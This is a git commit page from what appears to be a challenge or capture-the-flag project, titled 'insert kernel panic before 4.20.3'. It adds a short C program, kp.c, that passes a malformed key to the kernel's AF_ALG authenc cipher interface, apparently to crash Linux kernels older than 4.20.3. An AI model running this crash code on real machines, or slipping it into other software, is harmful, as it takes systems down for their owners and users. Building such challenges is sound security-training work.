challenge: insert kernel panic before 4.20.3

This commit is contained in:
nemunaire 2019-02-24 05:20:11 +01:00
commit 51f3942286
4 changed files with 32 additions and 1 deletions

1
pkg/challenge/.gitignore vendored Normal file
View file

@ -0,0 +1 @@
kp

24
pkg/challenge/kp.c Normal file
View file

@ -0,0 +1,24 @@
#include <linux/if_alg.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
int main() {
int fd;
struct sockaddr_alg addr = {
.salg_type = "aead",
.salg_name = "authenc(hmac(sha256),cbc(aes))",
};
struct {
struct rtattr attr;
__be32 enckeylen;
char keys[1];
} __attribute__((packed)) key = {
.attr.rta_len = sizeof(key),
.attr.rta_type = 1 /* CRYPTO_AUTHENC_KEYA_PARAM */,
};
fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (void *)&addr, sizeof(addr));
setsockopt(fd, SOL_ALG, ALG_SET_KEY, &key, sizeof(key));
}